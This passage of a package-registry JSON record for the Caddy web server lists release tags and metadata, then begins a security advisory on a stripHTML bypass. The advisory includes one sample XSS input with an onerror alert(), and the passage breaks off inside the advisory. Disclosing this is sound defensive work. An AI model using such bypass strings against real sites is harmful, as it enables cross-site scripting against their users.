c853cf20ac2b5515c54e9","kind":"tag","published_at":"2019-01-16T23:10:45.000Z","download_url":"https://codeload.github.com/caddyserver/caddy/tar.gz/v0.11.2","html_url":"https://github.com/caddyserver/caddy/releases/tag/v0.11.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/caddyserver/caddy@v0.11.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v0.11.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v0.11.2/manifests"},{"name":"v0.11.1","sha":"6f580c6aa36c54c3e1c65b5c609550a8a2508e3e","kind":"tag","published_at":"2018-11-12T21:59:34.000Z","download_url":"https://codeload.github.com/caddyserver/caddy/tar.gz/v0.11.1","html_url":"https://github.com/caddyserver/caddy/releases/tag/v0.11.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/caddyserver/caddy@v0.11.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v0.11.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v0.11.1/manifests"},{"name":"v0.11.0","sha":"1f7b5abc80679fb71ee0e04ed98cbe284b1fc181","kind":"tag","published_at":"2018-05-10T15:50:44.000Z","download_url":"https://codeload.github.com/caddyserver/caddy/tar.gz/v0.11.0","html_url":"https://github.com/caddyserver/caddy/releases/tag/v0.11.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/caddyserver/caddy@v0.11.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v0.11.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v0.11.0/manifests"},{"name":"v0.10.14","sha":"2922d09bef3c504dde66bc12f7441668fcef6a20","kind":"tag","published_at":"2018-04-20T00:17:08.000Z","download_url":"https://codeload.github.com/caddyserver/caddy/tar.gz/v0.10.14","html_url":"https://github.com/caddyserver/caddy/releases/tag/v0.10.14","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/caddyserver/caddy@v0.10.14","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v0.10.14","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v0.10.14/manifests"},{"name":"v0.10.13","sha":"694d2c9b2e1ce5596b4e8a651e76b3f312ee2a77","kind":"tag","published_at":"2018-04-18T23:16:44.000Z","download_url":"https://codeload.github.com/caddyserver/caddy/tar.gz/v0.10.13","html_url":"https://github.com/caddyserver/caddy/releases/tag/v0.10.13","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/caddyserver/caddy@v0.10.13","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v0.10.13","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v0.10.13/manifests"},{"name":"v0.10.12","sha":"f379bf3421bb65becde8bbeb3f940fc4c4215d1f","kind":"tag","published_at":"2018-03-27T05:30:19.000Z","download_url":"https://codeload.github.com/caddyserver/caddy/tar.gz/v0.10.12","html_url":"https://github.com/caddyserver/caddy/releases/tag/v0.10.12","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/caddyserver/caddy@v0.10.12","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v0.10.12","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v0.10.12/manifests"},{"name":"v0.10.11","sha":"d3f338ddab9ee24b376b5c9c51e202581e2d43ba","kind":"tag","published_at":"2018-02-20T05:55:23.000Z","download_url":"https://codeload.github.com/caddyserver/caddy/tar.gz/v0.10.11","html_url":"https://github.com/caddyserver/caddy/releases/tag/v0.10.11","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/caddyserver/caddy@v0.10.11","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v0.10.11","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v0.10.11/manifests"},{"name":"v0.10.10","sha":"c4dfbb9956095c92d0586a52723748c070c7b459","kind":"tag","published_at":"2017-10-09T04:47:07.000Z","download_url":"https://codeload.github.com/caddyserver/caddy/tar.gz/v0.10.10","html_url":"https://github.com/caddyserver/caddy/releases/tag/v0.10.10","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/caddyserver/caddy@v0.10.10","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v0.10.10","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v0.10.10/manifests"},{"name":"v0.10.9","sha":"bc56793d3b919b17080deaa427bb5f70a826f4d6","kind":"tag","published_at":"2017-09-12T17:24:55.000Z","download_url":"https://codeload.github.com/caddyserver/caddy/tar.gz/v0.10.9","html_url":"https://github.com/caddyserver/caddy/releases/tag/v0.10.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/caddyserver/caddy@v0.10.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v0.10.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v0.10.9/manifests"},{"name":"v0.10.8","sha":"9e156e0940aee8f6f4f2dc435d8a171b3c683d7a","kind":"tag","published_at":"2017-09-08T17:21:14.000Z","download_url":"https://codeload.github.com/caddyserver/caddy/tar.gz/v0.10.8","html_url":"https://github.com/caddyserver/caddy/releases/tag/v0.10.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/caddyserver/caddy@v0.10.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v0.10.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v0.10.8/manifests"},{"name":"v0.10.7","sha":"0b4dda0abaedcf2a974fb16d3e8a6f68b77782b0","kind":"tag","published_at":"2017-08-25T23:51:59.000Z","download_url":"https://codeload.github.com/caddyserver/caddy/tar.gz/v0.10.7","html_url":"https://github.com/caddyserver/caddy/releases/tag/v0.10.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/caddyserver/caddy@v0.10.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v0.10.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v0.10.7/manifests"},{"name":"v0.10.6","sha":"e7f08bff38988c3049b7fda301c52a681af63cd8","kind":"tag","published_at":"2017-07-28T18:23:03.000Z","download_url":"https://codeload.github.com/caddyserver/caddy/tar.gz/v0.10.6","html_url":"https://github.com/caddyserver/caddy/releases/tag/v0.10.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/caddyserver/caddy@v0.10.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v0.10.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v0.10.6/manifests"},{"name":"v0.10.5","sha":"c06ff1cb373b42c2ddb4583f7a4f1d943047478f","kind":"tag","published_at":"2017-07-27T22:24:33.000Z","download_url":"https://codeload.github.com/caddyserver/caddy/tar.gz/v0.10.5","html_url":"https://github.com/caddyserver/caddy/releases/tag/v0.10.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/caddyserver/caddy@v0.10.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v0.10.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v0.10.5/manifests"},{"name":"v0.10.4","sha":"dfa389c9df67470bf2b357c08e2efe205181894d","kind":"tag","published_at":"2017-06-28T22:40:34.000Z","download_url":"https://codeload.github.com/caddyserver/caddy/tar.gz/v0.10.4","html_url":"https://github.com/caddyserver/caddy/releases/tag/v0.10.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/caddyserver/caddy@v0.10.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v0.10.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v0.10.4/manifests"},{"name":"v0.10.3","sha":"1845e5cf52e90390212b8bfc373df8a405b98678","kind":"tag","published_at":"2017-05-19T14:42:21.000Z","download_url":"https://codeload.github.com/caddyserver/caddy/tar.gz/v0.10.3","html_url":"https://github.com/caddyserver/caddy/releases/tag/v0.10.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/caddyserver/caddy@v0.10.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v0.10.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v0.10.3/manifests"},{"name":"v0.10.2","sha":"dfebffb1eeb7ff0eba1e922bb8b452670675535f","kind":"tag","published_at":"2017-05-02T23:09:56.000Z","download_url":"https://codeload.github.com/caddyserver/caddy/tar.gz/v0.10.2","html_url":"https://github.com/caddyserver/caddy/releases/tag/v0.10.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/caddyserver/caddy@v0.10.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v0.10.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v0.10.2/manifests"},{"name":"v0.10.1","sha":"6d9783a26764c0d29ed68609cb6ac1a7f7489342","kind":"tag","published_at":"2017-05-02T06:46:56.000Z","download_url":"https://codeload.github.com/caddyserver/caddy/tar.gz/v0.10.1","html_url":"https://github.com/caddyserver/caddy/releases/tag/v0.10.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/caddyserver/caddy@v0.10.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v0.10.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v0.10.1/manifests"},{"name":"v0.10.0","sha":"27785f7993319b615acae4ff2a33cdb36fb68376","kind":"tag","published_at":"2017-04-20T17:50:09.000Z","download_url":"https://codeload.github.com/caddyserver/caddy/tar.gz/v0.10.0","html_url":"https://github.com/caddyserver/caddy/releases/tag/v0.10.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/caddyserver/caddy@v0.10.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v0.10.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v0.10.0/manifests"},{"name":"v0.9.5","sha":"94e382ef0a88f610a3962eefdde355b591f3eac9","kind":"tag","published_at":"2017-01-24T15:29:13.000Z","download_url":"https://codeload.github.com/caddyserver/caddy/tar.gz/v0.9.5","html_url":"https://github.com/caddyserver/caddy/releases/tag/v0.9.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/caddyserver/caddy@v0.9.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v0.9.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v0.9.5/manifests"},{"name":"v0.9.4","sha":"7dc1dc1c78780e90101eaf0f1318004d9e6b1029","kind":"tag","published_at":"2016-12-21T20:49:11.000Z","download_url":"https://codeload.github.com/caddyserver/caddy/tar.gz/v0.9.4","html_url":"https://github.com/caddyserver/caddy/releases/tag/v0.9.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/caddyserver/caddy@v0.9.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v0.9.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v0.9.4/manifests"},{"name":"v0.9.3","sha":"c885edda24f06ce7d8bb3e238feae46f7543c656","kind":"tag","published_at":"2016-09-28T18:43:41.000Z","download_url":"https://codeload.github.com/caddyserver/caddy/tar.gz/v0.9.3","html_url":"https://github.com/caddyserver/caddy/releases/tag/v0.9.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/caddyserver/caddy@v0.9.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v0.9.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v0.9.3/manifests"},{"name":"v0.9.2","sha":"73916ccc3069de4720a77b6b817b0bb77bda6b44","kind":"tag","published_at":"2016-09-20T22:35:27.000Z","download_url":"https://codeload.github.com/caddyserver/caddy/tar.gz/v0.9.2","html_url":"https://github.com/caddyserver/caddy/releases/tag/v0.9.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/caddyserver/caddy@v0.9.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v0.9.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v0.9.2/manifests"},{"name":"v0.9.1","sha":"c5aa5843d92a27eaf521e28684111030135d9cdc","kind":"tag","published_at":"2016-08-17T20:09:21.000Z","download_url":"https://codeload.github.com/caddyserver/caddy/tar.gz/v0.9.1","html_url":"https://github.com/caddyserver/caddy/releases/tag/v0.9.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/caddyserver/caddy@v0.9.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v0.9.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v0.9.1/manifests"},{"name":"v0.9.0","sha":"f28af637327a4f12ae745284c519cfdeca5502ef","kind":"tag","published_at":"2016-07-19T03:50:55.000Z","download_url":"https://codeload.github.com/caddyserver/caddy/tar.gz/v0.9.0","html_url":"https://github.com/caddyserver/caddy/releases/tag/v0.9.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/caddyserver/caddy@v0.9.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v0.9.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v0.9.0/manifests"},{"name":"v0.9-beta.2","sha":"b49f65d5de76bbc3faaba93110cf0afd3f58bb31","kind":"tag","published_at":"2016-06-22T13:09:37.000Z","download_url":"https://codeload.github.com/caddyserver/caddy/tar.gz/v0.9-beta.2","html_url":"https://github.com/caddyserver/caddy/releases/tag/v0.9-beta.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/caddyserver/caddy@v0.9-beta.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v0.9-beta.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v0.9-beta.2/manifests"},{"name":"v0.9-beta.1","sha":"6492592b4acd52fc78d590690afa00a9bcada24e","kind":"tag","published_at":"2016-06-07T20:36:29.000Z","download_url":"https://codeload.github.com/caddyserver/caddy/tar.gz/v0.9-beta.1","html_url":"https://github.com/caddyserver/caddy/releases/tag/v0.9-beta.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/caddyserver/caddy@v0.9-beta.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v0.9-beta.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v0.9-beta.1/manifests"},{"name":"v0.8.3","sha":"21382702d2398590a1fde7d33baf975003b964c0","kind":"tag","published_at":"2016-04-26T15:28:17.000Z","download_url":"https://codeload.github.com/caddyserver/caddy/tar.gz/v0.8.3","html_url":"https://github.com/caddyserver/caddy/releases/tag/v0.8.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/caddyserver/caddy@v0.8.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v0.8.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v0.8.3/manifests"},{"name":"v0.8.2","sha":"c827a71d5ddb28969aae19f388ac4b7d737fece4","kind":"tag","published_at":"2016-02-25T17:27:17.000Z","download_url":"https://codeload.github.com/caddyserver/caddy/tar.gz/v0.8.2","html_url":"https://github.com/caddyserver/caddy/releases/tag/v0.8.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/caddyserver/caddy@v0.8.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v0.8.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v0.8.2/manifests"},{"name":"v0.8.1","sha":"3c96718027db0fc6bf40837b2983f849578b5f7f","kind":"tag","published_at":"2016-01-12T17:02:06.000Z","download_url":"https://codeload.github.com/caddyserver/caddy/tar.gz/v0.8.1","html_url":"https://github.com/caddyserver/caddy/releases/tag/v0.8.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/caddyserver/caddy@v0.8.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v0.8.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v0.8.1/manifests"},{"name":"v0.8.0","sha":"5b93799a6230357827335497b7a09f8006ce9b57","kind":"tag","published_at":"2015-12-04T02:52:26.000Z","download_url":"https://codeload.github.com/caddyserver/caddy/tar.gz/v0.8.0","html_url":"https://github.com/caddyserver/caddy/releases/tag/v0.8.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/caddyserver/caddy@v0.8.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v0.8.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v0.8.0/manifests"},{"name":"v0.8-beta.4","sha":"4d907d57fa149789de8485e9327dc0822e5ed89a","kind":"tag","published_at":"2015-11-19T01:41:39.000Z","download_url":"https://codeload.github.com/caddyserver/caddy/tar.gz/v0.8-beta.4","html_url":"https://github.com/caddyserver/caddy/releases/tag/v0.8-beta.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/caddyserver/caddy@v0.8-beta.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v0.8-beta.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v0.8-beta.4/manifests"},{"name":"v0.8-beta.3","sha":"8628a50b7dd279f4424bbc81b7cf5df080533a6f","kind":"tag","published_at":"2015-11-08T00:25:55.000Z","download_url":"https://codeload.github.com/caddyserver/caddy/tar.gz/v0.8-beta.3","html_url":"https://github.com/caddyserver/caddy/releases/tag/v0.8-beta.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/caddyserver/caddy@v0.8-beta.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v0.8-beta.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v0.8-beta.3/manifests"},{"name":"v0.8-beta.2","sha":"d36685acddb240a598e03c1ebc1afce8ef9feb4b","kind":"tag","published_at":"2015-11-04T19:19:52.000Z","download_url":"https://codeload.github.com/caddyserver/caddy/tar.gz/v0.8-beta.2","html_url":"https://github.com/caddyserver/caddy/releases/tag/v0.8-beta.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/caddyserver/caddy@v0.8-beta.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v0.8-beta.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v0.8-beta.2/manifests"},{"name":"v0.8-beta.1","sha":"295d21f37de865164c08f9582b9c190abe374d4d","kind":"tag","published_at":"2015-11-03T04:08:53.000Z","download_url":"https://codeload.github.com/caddyserver/caddy/tar.gz/v0.8-beta.1","html_url":"https://github.com/caddyserver/caddy/releases/tag/v0.8-beta.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/caddyserver/caddy@v0.8-beta.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v0.8-beta.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v0.8-beta.1/manifests"},{"name":"v0.7.6","sha":"ec676fa15eb00b2e6ae6a43a4626e3f9c0122aee","kind":"tag","published_at":"2015-09-28T20:57:13.000Z","download_url":"https://codeload.github.com/caddyserver/caddy/tar.gz/v0.7.6","html_url":"https://github.com/caddyserver/caddy/releases/tag/v0.7.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/caddyserver/caddy@v0.7.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v0.7.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v0.7.6/manifests"},{"name":"v0.7.5","sha":"a2be7b45485ee9fdafd0609a90e87b434fcc8538","kind":"tag","published_at":"2015-08-05T19:26:22.000Z","download_url":"https://codeload.github.com/caddyserver/caddy/tar.gz/v0.7.5","html_url":"https://github.com/caddyserver/caddy/releases/tag/v0.7.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/caddyserver/caddy@v0.7.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v0.7.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v0.7.5/manifests"},{"name":"v0.7.4","sha":"73397a0973a026c70cd31cc05f09c2f8a16d5423","kind":"tag","published_at":"2015-07-30T16:29:38.000Z","download_url":"https://codeload.github.com/caddyserver/caddy/tar.gz/v0.7.4","html_url":"https://github.com/caddyserver/caddy/releases/tag/v0.7.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/caddyserver/caddy@v0.7.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v0.7.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v0.7.4/manifests"},{"name":"v0.7.3","sha":"95140f948f2401b95c73bd739c8b1591854b1e54","kind":"tag","published_at":"2015-07-15T15:53:57.000Z","download_url":"https://codeload.github.com/caddyserver/caddy/tar.gz/v0.7.3","html_url":"https://github.com/caddyserver/caddy/releases/tag/v0.7.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/caddyserver/caddy@v0.7.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v0.7.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v0.7.3/manifests"},{"name":"v0.7.2","sha":"a86e16dddea0b3516082046a66f0a0b580db51f2","kind":"tag","published_at":"2015-07-01T18:09:40.000Z","download_url":"https://codeload.github.com/caddyserver/caddy/tar.gz/v0.7.2","html_url":"https://github.com/caddyserver/caddy/releases/tag/v0.7.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/caddyserver/caddy@v0.7.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v0.7.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v0.7.2/manifests"},{"name":"v0.7.1","sha":"4852f0580ba5bce3d8cdd14f72c20da7dc7aee92","kind":"tag","published_at":"2015-06-02T18:19:17.000Z","download_url":"https://codeload.github.com/caddyserver/caddy/tar.gz/v0.7.1","html_url":"https://github.com/caddyserver/caddy/releases/tag/v0.7.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/caddyserver/caddy@v0.7.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v0.7.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v0.7.1/manifests"},{"name":"v0.7.0","sha":"b1c8b48e6e3ca9c4e5350b8690b01cccb6df1b37","kind":"tag","published_at":"2015-05-25T21:58:59.000Z","download_url":"https://codeload.github.com/caddyserver/caddy/tar.gz/v0.7.0","html_url":"https://github.com/caddyserver/caddy/releases/tag/v0.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/caddyserver/caddy@v0.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v0.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v0.7.0/manifests"},{"name":"v0.6.0","sha":"a5f20829cb87c3474b68e7af4def46e71b8864e0","kind":"tag","published_at":"2015-05-07T12:56:05.000Z","download_url":"https://codeload.github.com/caddyserver/caddy/tar.gz/v0.6.0","html_url":"https://github.com/caddyserver/caddy/releases/tag/v0.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/caddyserver/caddy@v0.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v0.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v0.6.0/manifests"},{"name":"v0.5.1","sha":"37e3fe5f1f82d5199baf383b66645fa9be4dcc8f","kind":"tag","published_at":"2015-04-30T17:59:41.000Z","download_url":"https://codeload.github.com/caddyserver/caddy/tar.gz/v0.5.1","html_url":"https://github.com/caddyserver/caddy/releases/tag/v0.5.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/caddyserver/caddy@v0.5.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v0.5.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v0.5.1/manifests"},{"name":"v0.5.0","sha":"2cf06bc3eeab0196bb51818d858123cc711deeb6","kind":"tag","published_at":"2015-04-28T05:28:34.000Z","download_url":"https://codeload.github.com/caddyserver/caddy/tar.gz/v0.5.0","html_url":"https://github.com/caddyserver/caddy/releases/tag/v0.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/caddyserver/caddy@v0.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v0.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v0.5.0/manifests"}]},"repo_metadata_updated_at":"2026-08-19T04:23:21.646Z","dependent_packages_count":675,"downloads":null,"downloads_period":null,"dependent_repos_count":2153,"rankings":{"downloads":null,"dependent_repos_count":0.17787761485745643,"dependent_packages_count":0.15393452747340827,"stargazers_count":0.018394045672723684,"forks_count":0.08785982709597068,"docker_downloads_count":0.24539095567857072,"average":0.13669139415562598},"purl":"pkg:golang/github.com/caddyserver/caddy","advisories":[{"uuid":"GSA_kwCzR0hTQS12Y2M0LTJjNzUtdmM5ds4ABY07","url":"https://github.com/advisories/GHSA-vcc4-2c75-vc9v","title":"Caddy: stripHTML template function bypass","description":"### Summary\nCaddy’s `stripHTML` template function cannot reliably remove all HTML tags from input strings. Certain malformed HTML, such as `\u003c\u003c\u003eimg src=x onerror=alert()\u003e`, can bypass the tag-stripping logic, potentially leaving dangerous content in the output if it is later rendered as HTML. This may allow client-side XSS in cases where untrusted strings are rendered unsafely.\n\n---\n\n### Details\nThe vulnerability originates from `funcStripHTML` 